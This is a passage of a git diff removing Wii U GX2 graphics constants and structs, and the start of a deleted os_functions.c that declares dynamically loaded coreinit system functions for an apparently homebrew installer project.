-//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_FRONT_FACE_CCW 0 -#define GX2_FRONT_FACE_CW 1 -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 polygon modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_POLYGON_MODE_POINT 0 -#define GX2_POLYGON_MODE_LINE 1 -#define GX2_POLYGON_MODE_TRIANGLE 2 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 special states -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_SPECIAL_STATE_CLEAR 0 -#define GX2_SPECIAL_STATE_CLEAR_HIZ 1 -#define GX2_SPECIAL_STATE_COPY 2 -#define GX2_SPECIAL_STATE_EXPAND_COLOR 3 -#define GX2_SPECIAL_STATE_EXPAND_DEPTH 4 -#define GX2_SPECIAL_STATE_CONVERT_DEPTH 5 -#define GX2_SPECIAL_STATE_CONVERT_AADEPTH 6 -#define GX2_SPECIAL_STATE_RESOLVE_COLOR 7 -#define GX2_SPECIAL_STATE_CLEAR_COLOR_AS_DEPTH 8 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 attribute formats -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_ATTRIB_FORMAT_8_UNORM 0x00000000 -#define GX2_ATTRIB_FORMAT_4_4_UNORM 0x00000001 -#define GX2_ATTRIB_FORMAT_16_UNORM 0x00000002 -#define GX2_ATTRIB_FORMAT_8_8_UNORM 0x00000004 -#define GX2_ATTRIB_FORMAT_16_16_UNORM 0x00000007 -#define GX2_ATTRIB_FORMAT_8_8_8_8_UNORM 0x0000000A -#define GX2_ATTRIB_FORMAT_10_10_10_2_UNORM 0x0000000B -#define GX2_ATTRIB_FORMAT_16_16_16_16_UNORM 0x0000000E - -#define GX2_ATTRIB_FORMAT_8_UINT 0x00000100 -#define GX2_ATTRIB_FORMAT_16_UINT 0x00000102 -#define GX2_ATTRIB_FORMAT_8_8_UINT 0x00000104 -#define GX2_ATTRIB_FORMAT_32_UINT 0x00000105 -#define GX2_ATTRIB_FORMAT_16_16_UINT 0x00000107 -#define GX2_ATTRIB_FORMAT_8_8_8_8_UINT 0x0000010A -#define GX2_ATTRIB_FORMAT_10_10_10_2_UINT 0x0000010B -#define GX2_ATTRIB_FORMAT_32_32_UINT 0x0000010C -#define GX2_ATTRIB_FORMAT_16_16_16_16_UINT 0x0000010E -#define GX2_ATTRIB_FORMAT_32_32_32_UINT 0x00000110 -#define GX2_ATTRIB_FORMAT_32_32_32_32_UINT 0x00000112 - -#define GX2_ATTRIB_FORMAT_8_SNORM 0x00000200 -#define GX2_ATTRIB_FORMAT_16_SNORM 0x00000202 -#define GX2_ATTRIB_FORMAT_8_8_SNORM 0x00000204 -#define GX2_ATTRIB_FORMAT_16_16_SNORM 0x00000207 -#define GX2_ATTRIB_FORMAT_8_8_8_8_SNORM 0x0000020A -#define GX2_ATTRIB_FORMAT_10_10_10_2_SNORM 0x0000020B -#define GX2_ATTRIB_FORMAT_16_16_16_16_SNORM 0x0000020E - -#define GX2_ATTRIB_FORMAT_8_SINT 0x00000300 -#define GX2_ATTRIB_FORMAT_16_SINT 0x00000303 -#define GX2_ATTRIB_FORMAT_8_8_SINT 0x00000304 -#define GX2_ATTRIB_FORMAT_32_SINT 0x00000305 -#define GX2_ATTRIB_FORMAT_16_16_SINT 0x00000307 -#define GX2_ATTRIB_FORMAT_8_8_8_8_SINT 0x0000030A -#define GX2_ATTRIB_FORMAT_10_10_10_2_SINT 0x0000030B -#define GX2_ATTRIB_FORMAT_32_32_SINT 0x0000030C -#define GX2_ATTRIB_FORMAT_16_16_16_16_SINT 0x0000030E -#define GX2_ATTRIB_FORMAT_32_32_32_SINT 0x00000310 -#define GX2_ATTRIB_FORMAT_32_32_32_32_SINT 0x00000312 - -#define GX2_ATTRIB_FORMAT_8_UINT_TO_FLOAT 0x00000800 -#define GX2_ATTRIB_FORMAT_16_UINT_TO_FLOAT 0x00000802 -#define GX2_ATTRIB_FORMAT_16_FLOAT 0x00000803 -#define GX2_ATTRIB_FORMAT_8_8_UINT_TO_FLOAT 0x00000804 -#define GX2_ATTRIB_FORMAT_32_FLOAT 0x00000806 -#define GX2_ATTRIB_FORMAT_16_16_UINT_TO_FLOAT 0x00000807 -#define GX2_ATTRIB_FORMAT_16_16_FLOAT 0x00000808 -#define GX2_ATTRIB_FORMAT_10_11_11_FLOAT 0x00000809 -#define GX2_ATTRIB_FORMAT_8_8_8_8_UINT_TO_FLOAT 0x0000080A -#define GX2_ATTRIB_FORMAT_32_32_FLOAT 0x0000080D -#define GX2_ATTRIB_FORMAT_16_16_16_16_UINT_TO_FLOAT 0x0000080E -#define GX2_ATTRIB_FORMAT_16_16_16_16_FLOAT 0x0000080F -#define GX2_ATTRIB_FORMAT_32_32_32_FLOAT 0x00000811 -#define GX2_ATTRIB_FORMAT_32_32_32_32_FLOAT 0x00000813 - -#define GX2_ATTRIB_FORMAT_8_SINT_TO_FLOAT 0x00000A00 -#define GX2_ATTRIB_FORMAT_16_SINT_TO_FLOAT 0x00000A02 -#define GX2_ATTRIB_FORMAT_8_8_SINT_TO_FLOAT 0x00000A04 -#define GX2_ATTRIB_FORMAT_16_16_SINT_TO_FLOAT 0x00000A07 -#define GX2_ATTRIB_FORMAT_8_8_8_8_SINT_TO_FLOAT 0x00000A0A -#define GX2_ATTRIB_FORMAT_16_16_16_16_SINT_TO_FLOAT 0x00000A0E - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 shader modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_SHADER_MODE_UNIFORM_REGISTER 0 -#define GX2_SHADER_MODE_UNIFORM_BLOCK 1 -#define GX2_SHADER_MODE_GEOMETRY_SHADER 2 -#define GX2_SHADER_MODE_COMPUTE_SHADER 3 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 shader modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_COMP_SEL_NONE 0x04040405 -#define GX2_COMP_SEL_X001 0x00040405 -#define GX2_COMP_SEL_XY01 0x00010405 -#define GX2_COMP_SEL_XYZ1 0x00010205 -#define GX2_COMP_SEL_XYZW 0x00010203 -#define GX2_COMP_SEL_XXXX 0x00000000 -#define GX2_COMP_SEL_YYYY 0x01010101 -#define GX2_COMP_SEL_ZZZZ 0x02020202 -#define GX2_COMP_SEL_WWWW 0x03030303 -#define GX2_COMP_SEL_WZYX 0x03020100 -#define GX2_COMP_SEL_WXYZ 0x03000102 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 variable types -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_VAR_TYPE_VOID 0 -#define GX2_VAR_TYPE_BOOL 1 -#define GX2_VAR_TYPE_INT 2 -#define GX2_VAR_TYPE_UINT 3 -#define GX2_VAR_TYPE_FLOAT 4 -#define GX2_VAR_TYPE_DOUBLE 5 -#define GX2_VAR_TYPE_VEC2 9 -#define GX2_VAR_TYPE_VEC3 10 -#define GX2_VAR_TYPE_VEC4 11 -#define GX2_VAR_TYPE_MAT2 21 -#define GX2_VAR_TYPE_MAT3 25 -#define GX2_VAR_TYPE_MAT4 29 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 sample types -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_SAMPLER_TYPE_2D 1 - - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 index formats -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_INDEX_FORMAT_U16 4 -#define GX2_INDEX_FORMAT_U32 9 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 primitive types -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_PRIMITIVE_POINTS 0x01 -#define GX2_PRIMITIVE_LINES 0x02 -#define GX2_PRIMITIVE_LINE_STRIP 0x03 -#define GX2_PRIMITIVE_TRIANGLES 0x04 -#define GX2_PRIMITIVE_TRIANGLE_FAN 0x05 -#define GX2_PRIMITIVE_TRIANGLE_STRIP 0x06 -#define GX2_PRIMITIVE_RECTS 0x11 -#define GX2_PRIMITIVE_QUADS 0x13 -#define GX2_PRIMITIVE_QUAD_STRIP 0x14 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 clear modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_CLEAR_DEPTH 0x01 -#define GX2_CLEAR_STENCIL 0x02 -#define GX2_CLEAR_BOTH (GX2_CLEAR_DEPTH | GX2_CLEAR_STENCIL) - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 surface formats -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_SURFACE_FORMAT_TC_R8_UNORM 0x00000001 -#define GX2_SURFACE_FORMAT_T_R4_G4_UNORM 0x00000002 -#define GX2_SURFACE_FORMAT_TCD_R16_UNORM 0x00000005 -#define GX2_SURFACE_FORMAT_TC_R8_G8_UNORM 0x00000007 -#define GX2_SURFACE_FORMAT_TCS_R5_G6_B5_UNORM 0x00000008 -#define GX2_SURFACE_FORMAT_TC_R5_G5_B5_A1_UNORM 0x0000000a -#define GX2_SURFACE_FORMAT_TC_R4_G4_B4_A4_UNORM 0x0000000b -#define GX2_SURFACE_FORMAT_TC_A1_B5_G5_R5_UNORM 0x0000000c -#define GX2_SURFACE_FORMAT_TC_R16_G16_UNORM 0x0000000f -#define GX2_SURFACE_FORMAT_D_D24_S8_UNORM 0x00000011 -#define GX2_SURFACE_FORMAT_T_R24_UNORM_X8 0x00000011 -#define GX2_SURFACE_FORMAT_TCS_R10_G10_B10_A2_UNORM 0x00000019 -#define GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM 0x0000001a -#define GX2_SURFACE_FORMAT_TCS_A2_B10_G10_R10_UNORM 0x0000001b -#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_UNORM 0x0000001f -#define GX2_SURFACE_FORMAT_T_BC1_UNORM 0x00000031 -#define GX2_SURFACE_FORMAT_T_BC2_UNORM 0x00000032 -#define GX2_SURFACE_FORMAT_T_BC3_UNORM 0x00000033 -#define GX2_SURFACE_FORMAT_T_BC4_UNORM 0x00000034 -#define GX2_SURFACE_FORMAT_T_BC5_UNORM 0x00000035 -#define GX2_SURFACE_FORMAT_T_NV12_UNORM 0x00000081 - -#define GX2_SURFACE_FORMAT_TC_R8_UINT 0x00000101 -#define GX2_SURFACE_FORMAT_TC_R16_UINT 0x00000105 -#define GX2_SURFACE_FORMAT_TC_R8_G8_UINT 0x00000107 -#define GX2_SURFACE_FORMAT_TC_R32_UINT 0x0000010d -#define GX2_SURFACE_FORMAT_TC_R16_G16_UINT 0x0000010f -#define GX2_SURFACE_FORMAT_T_X24_G8_UINT 0x00000111 -#define GX2_SURFACE_FORMAT_TC_R10_G10_B10_A2_UINT 0x00000119 -#define GX2_SURFACE_FORMAT_TC_R8_G8_B8_A8_UINT 0x0000011a -#define GX2_SURFACE_FORMAT_TC_A2_B10_G10_R10_UINT 0x0000011b -#define GX2_SURFACE_FORMAT_T_X32_G8_UINT_X24 0x0000011c -#define GX2_SURFACE_FORMAT_TC_R32_G32_UINT 0x0000011d -#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_UINT 0x0000011f -#define GX2_SURFACE_FORMAT_TC_R32_G32_B32_A32_UINT 0x00000122 - -#define GX2_SURFACE_FORMAT_TC_R8_SNORM 0x00000201 -#define GX2_SURFACE_FORMAT_TC_R16_SNORM 0x00000205 -#define GX2_SURFACE_FORMAT_TC_R8_G8_SNORM 0x00000207 -#define GX2_SURFACE_FORMAT_TC_R16_G16_SNORM 0x0000020f -#define GX2_SURFACE_FORMAT_T_R10_G10_B10_A2_SNORM 0x00000219 -#define GX2_SURFACE_FORMAT_TC_R10_G10_B10_A2_SNORM 0x00000219 -#define GX2_SURFACE_FORMAT_TC_R8_G8_B8_A8_SNORM 0x0000021a -#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_SNORM 0x0000021f -#define GX2_SURFACE_FORMAT_T_BC4_SNORM 0x00000234 -#define GX2_SURFACE_FORMAT_T_BC5_SNORM 0x00000235 - -#define GX2_SURFACE_FORMAT_TC_R8_SINT 0x00000301 -#define GX2_SURFACE_FORMAT_TC_R16_SINT 0x00000305 -#define GX2_SURFACE_FORMAT_TC_R8_G8_SINT 0x00000307 -#define GX2_SURFACE_FORMAT_TC_R32_SINT 0x0000030d -#define GX2_SURFACE_FORMAT_TC_R16_G16_SINT 0x0000030f -#define GX2_SURFACE_FORMAT_TC_R10_G10_B10_A2_SINT 0x00000319 -#define GX2_SURFACE_FORMAT_TC_R8_G8_B8_A8_SINT 0x0000031a -#define GX2_SURFACE_FORMAT_TC_R32_G32_SINT 0x0000031d -#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_SINT 0x0000031f -#define GX2_SURFACE_FORMAT_TC_R32_G32_B32_A32_SINT 0x00000322 - -#define GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_SRGB 0x0000041a -#define GX2_SURFACE_FORMAT_T_BC1_SRGB 0x00000431 -#define GX2_SURFACE_FORMAT_T_BC2_SRGB 0x00000432 -#define GX2_SURFACE_FORMAT_T_BC3_SRGB 0x00000433 - -#define GX2_SURFACE_FORMAT_TC_R16_FLOAT 0x00000806 -#define GX2_SURFACE_FORMAT_TCD_R32_FLOAT 0x0000080e -#define GX2_SURFACE_FORMAT_TC_R16_G16_FLOAT 0x00000810 -#define GX2_SURFACE_FORMAT_D_D24_S8_FLOAT 0x00000811 -#define GX2_SURFACE_FORMAT_TC_R11_G11_B10_FLOAT 0x00000816 -#define GX2_SURFACE_FORMAT_D_D32_FLOAT_S8_UINT_X24 0x0000081c -#define GX2_SURFACE_FORMAT_T_R32_FLOAT_X8_X24 0x0000081c -#define GX2_SURFACE_FORMAT_TC_R32_G32_FLOAT 0x0000081e -#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_FLOAT 0x00000820 -#define GX2_SURFACE_FORMAT_TC_R32_G32_B32_A32_FLOAT 0x00000823 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 tile modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_TILE_MODE_DEFAULT 0x00000000 -#define GX2_TILE_MODE_LINEAR_ALIGNED 0x00000001 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 surface use -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_SURFACE_USE_TEXTURE 0x00000001 -#define GX2_SURFACE_USE_COLOR_BUFFER 0x00000002 -#define GX2_SURFACE_USE_DEPTH_BUFFER 0x00000004 -#define GX2_SURFACE_USE_SCAN_BUFFER 0x00000008 -#define GX2_SURFACE_USE_FTV 0x80000000 -#define GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE (GX2_SURFACE_USE_COLOR_BUFFER | GX2_SURFACE_USE_TEXTURE) -#define GX2_SURFACE_USE_DEPTH_BUFFER_TEXTURE (GX2_SURFACE_USE_DEPTH_BUFFER | GX2_SURFACE_USE_TEXTURE) -#define GX2_SURFACE_USE_COLOR_BUFFER_FTV (GX2_SURFACE_USE_COLOR_BUFFER | GX2_SURFACE_USE_FTV) -#define GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE_FTV (GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE | GX2_SURFACE_USE_FTV) - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 surface dim -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_SURFACE_DIM_1D 0x00000000 -#define GX2_SURFACE_DIM_2D 0x00000001 -#define GX2_SURFACE_DIM_3D 0x00000002 -#define GX2_SURFACE_DIM_CUBE 0x00000003 -#define GX2_SURFACE_DIM_1D_ARRAY 0x00000004 -#define GX2_SURFACE_DIM_2D_ARRAY 0x00000005 -#define GX2_SURFACE_DIM_2D_MSAA 0x00000006 -#define GX2_SURFACE_DIM_2D_MSAA_ARRAY 0x00000007 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 AA modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_AA_MODE_1X 0x00000000 -#define GX2_AA_MODE_2X 0x00000001 -#define GX2_AA_MODE_4X 0x00000002 -#define GX2_AA_MODE_8X 0x00000003 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 texture clamp -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_TEX_CLAMP_WRAP 0x00000000 -#define GX2_TEX_CLAMP_MIRROR 0x00000001 -#define GX2_TEX_CLAMP_CLAMP 0x00000002 -#define GX2_TEX_CLAMP_MIRROR_ONCE 0x00000003 -#define GX2_TEX_CLAMP_CLAMP_HALF_BORDER 0x00000004 -#define GX2_TEX_CLAMP_MIRROR_ONCE_HALF_BORDER 0x00000005 -#define GX2_TEX_CLAMP_CLAMP_BORDER 0x00000006 -#define GX2_TEX_CLAMP_MIRROR_ONCE_BORDER 0x00000007 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 texture filter -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_TEX_XY_FILTER_POINT 0x00000000 -#define GX2_TEX_XY_FILTER_BILINEAR 0x00000001 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 TV scan modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_TV_SCAN_MODE_NONE 0x00000000 -#define GX2_TV_SCAN_MODE_576I 0x00000001 -#define GX2_TV_SCAN_MODE_480I 0x00000002 -#define GX2_TV_SCAN_MODE_480P 0x00000003 -#define GX2_TV_SCAN_MODE_720P 0x00000004 -#define GX2_TV_SCAN_MODE_1080I 0x00000006 -#define GX2_TV_SCAN_MODE_1080P 0x00000007 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 TV render modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_TV_RENDER_480_NARROW 0x00000001 -#define GX2_TV_RENDER_480_WIDE 0x00000002 -#define GX2_TV_RENDER_720 0x00000003 -#define GX2_TV_RENDER_1080 0x00000005 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 DRC render modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_DRC_NONE 0x00000000 -#define GX2_DRC_SINGLE 0x00000001 -#define GX2_DRC_DOUBLE 0x00000002 -#define GX2_DRC_SINGLE_30HZ 0x00000004 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 buffering mode -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_BUFFERING_SINGLE 0x00000001 -#define GX2_BUFFERING_DOUBLE 0x00000002 -#define GX2_BUFFERING_TRIPLE 0x00000003 -#define GX2_BUFFERING_QUAD -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 scan targets -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_SCAN_TARGET_TV 0x00000001 -#define GX2_SCAN_TARGET_DRC_FIRST 0x00000004 -#define GX2_SCAN_TARGET_DRC_SECOND 0x00000008 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 invalidate types -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_INVALIDATE_ATTRIB_BUFFER 0x00000001 -#define GX2_INVALIDATE_TEXTURE 0x00000002 -#define GX2_INVALIDATE_UNIFORM_BLOCK 0x00000004 -#define GX2_INVALIDATE_SHADER 0x00000008 -#define GX2_INVALIDATE_COLOR_BUFFER 0x00000010 -#define GX2_INVALIDATE_DEPTH_BUFFER 0x00000020 -#define GX2_INVALIDATE_CPU 0x00000040 -#define GX2_INVALIDATE_CPU_ATTRIB_BUFFER (GX2_INVALIDATE_CPU | GX2_INVALIDATE_ATTRIB_BUFFER) -#define GX2_INVALIDATE_CPU_TEXTURE (GX2_INVALIDATE_CPU | GX2_INVALIDATE_TEXTURE) -#define GX2_INVALIDATE_CPU_UNIFORM_BLOCK (GX2_INVALIDATE_CPU | GX2_INVALIDATE_UNIFORM_BLOCK) -#define GX2_INVALIDATE_CPU_SHADER (GX2_INVALIDATE_CPU | GX2_INVALIDATE_SHADER) - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 swap modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_ENDIANSWAP_DEFAULT 0x00000003 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 tessellation modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_TESSELLATION_MODE_DISCRETE 0x00000000 -#define GX2_TESSELLATION_MODE_CONTINUOUS 0x00000001 -#define GX2_TESSELLATION_MODE_ADAPTIVE 0x00000002 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 fetch shader types -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_FETCH_SHADER_TESSELATION_NONE 0x00000000 -#define GX2_FETCH_SHADER_TESSELATION_LINES 0x00000001 -#define GX2_FETCH_SHADER_TESSELATION_TRIANGLES 0x00000002 -#define GX2_FETCH_SHADER_TESSELATION_QUADS 0x00000003 - - -typedef struct _GX2ContextState { - u8 data[GX2_CONTEXT_STATE_SIZE]; -} GX2ContextState; - -typedef struct _GX2Surface { - s32 dimension; - u32 width; - u32 height; - u32 depth; - u32 num_mips; - s32 format; - s32 aa; - s32 use; - u32 image_size; - void *image_data; - u32 mip_size; - void *mip_data; - s32 tile; - u32 swizzle; - u32 align; - u32 pitch; - u32 mip_offset[13]; -} GX2Surface; - -typedef struct _GX2ColorBuffer { - GX2Surface surface; - u32 view_mip; - u32 view_first_slice; - u32 view_slices_count; - void *aux_data; - u32 aux_size; - u32 regs[5]; -} GX2ColorBuffer; - -typedef struct _GX2DepthBuffer { - GX2Surface surface; - u32 view_mip; - u32 view_first_slice; - u32 view_slices_count; - void *hiZ_data; - u32 hiZ_size; - f32 clear_depth; - u32 clear_stencil; - u32 regs[7]; -} GX2DepthBuffer; - - -typedef struct _GX2Texture { - GX2Surface surface; - u32 view_first_mip; - u32 view_mips_count; - u32 view_first_slice; - u32 view_slices_count; - u32 component_selector; - u32 regs[5]; -} GX2Texture; - - -typedef struct _GX2Sampler { - u32 regs[3]; -} GX2Sampler; - -typedef struct _GX2AttribStream { - u32 location; - u32 buffer; - u32 offset; - s32 format; - s32 index_type; - u32 divisor; - u32 destination_selector; - s32 endian_swap; -} GX2AttribStream; - -typedef struct _GX2FetchShader { - s32 type; - u32 reg; - u32 shader_size; - void *shader_program; - u32 attributes_count; - u32 divisor[3]; -} GX2FetchShader; - -typedef struct _GX2AttribVar -{ - const char *name; - s32 var_type; - u32 array_count; - u32 location; -} GX2AttribVar; - - -typedef struct _GX2UniformBlock { - const char *name; - u32 location; - u32 block_size; -} GX2UniformBlock; - -typedef struct _GX2UniformInitialValue { - f32 value[4]; - u32 offset; -} GX2UniformInitialValue; - -typedef struct _GX2SamplerVar -{ - const char *name; - s32 sampler_type; - u32 location; -} GX2SamplerVar; - -typedef struct _GX2UniformVar -{ - const char *name; - s32 var_type; - u32 array_count; - u32 offset; - u32 block_index; -} GX2UniformVar; - -typedef struct _GX2VertexShader { - u32 regs[52]; - u32 shader_size; - void *shader_data; - s32 shader_mode; - u32 uniform_blocks_count; - GX2UniformBlock *uniform_block; - u32 uniform_vars_count; - GX2UniformVar *uniform_var; - u32 initial_values_count; - GX2UniformInitialValue *initial_value; - u32 loops_count; - void *loops_data; - u32 sampler_vars_count; - GX2SamplerVar *sampler_var; - u32 attribute_vars_count; - GX2AttribVar *attribute_var; - u32 data[6]; - u32 shader_program_buffer[16]; -} GX2VertexShader; - -typedef struct _GX2PixelShader { - u32 regs[41]; - u32 shader_size; - void *shader_data; - s32 shader_mode; - u32 uniform_blocks_count; - GX2UniformBlock *uniform_block; - u32 uniform_vars_count; - GX2UniformVar *uniform_var; - u32 initial_values_count; - GX2UniformInitialValue *initial_value; - u32 loops_count; - void *loops_data; - u32 sampler_vars_count; - GX2SamplerVar *sampler_var; - u32 shader_program_buffer[16]; -} GX2PixelShader; - -static const u32 attribute_dest_comp_selector[20] = { - GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_X001, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_X001, - GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, - GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, - GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW -}; - -static const u32 texture_comp_selector[54] = { - GX2_COMP_SEL_NONE, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_X001, - GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, - GX2_COMP_SEL_WZYX, GX2_COMP_SEL_X001, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_NONE, - GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_NONE, - GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_WZYX, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, - GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, - GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_X001, - GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, - GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01 -}; - -typedef struct _GX2Color { - u8 r, g, b, a; -} GX2Color; - -typedef struct _GX2ColorF32 { - f32 r, g, b, a; -} GX2ColorF32; - -#ifdef __cplusplus -} -#endif - -#endif diff --git a/installer/src/dynamic_libs/os_functions.c b/installer/src/dynamic_libs/os_functions.c deleted file mode 100644 index 2923bcd..0000000 --- a/installer/src/dynamic_libs/os_functions.c +++ /dev/null @@ -1,344 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "common/common.h" -#include "os_functions.h" - -unsigned int coreinit_handle __attribute__((section(".data"))) = 0; - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Lib handle functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_DECL(int, OSDynLoad_Acquire, const char* rpl, u32 *handle); -EXPORT_DECL(int, OSDynLoad_FindExport, u32 handle, int isdata, const char *symbol, void *address); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Security functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_DECL(int, OSGetSecurityLevel, void); -EXPORT_DECL(int, OSForceFullRelaunch, void); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Thread functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_DECL(int, OSCreateThread, void *thread, s32 (*callback)(s32, void*), s32 argc, void *args, u32 stack, u32 stack_size, s32 priority, u32 attr); -EXPORT_DECL(int, OSResumeThread, void *thread); -EXPORT_DECL(int, OSSuspendThread, void *thread); -EXPORT_DECL(int, OSIsThreadTerminated, void *thread); -EXPORT_DECL(int, OSIsThreadSuspended, void *thread); -EXPORT_DECL(int, OSSetThreadPriority, void * thread, int priority); -EXPORT_DECL(int, OSJoinThread, void * thread, int * ret_val); -EXPORT_DECL(void, OSDetachThread, void * thread); -EXPORT_DECL(void, OSSleepTicks, u64 ticks); -EXPORT_DECL(u64, OSGetTick, void); -EXPORT_DECL(u64, OSGetTime, void); -EXPORT_DECL(void, OSTicksToCalendarTime, u64 time, OSCalendarTime * calendarTime); - - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Mutex functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_DECL(void, OSInitMutex, void* mutex); -EXPORT_DECL(void, OSLockMutex, void* mutex); -EXPORT_DECL(void, OSUnlockMutex, void* mutex); -EXPORT_DECL(int, OSTryLockMutex, void* mutex); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! System functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_DECL(u64, OSGetTitleID, void); -EXPORT_DECL(void, OSGetArgcArgv, int* argc, char*** argv); -EXPORT_DECL(void, __Exit, void); -EXPORT_DECL(void, OSFatal, const char* msg); -EXPORT_DECL(void, OSSetExceptionCallback, u8 exceptionType, exception_callback 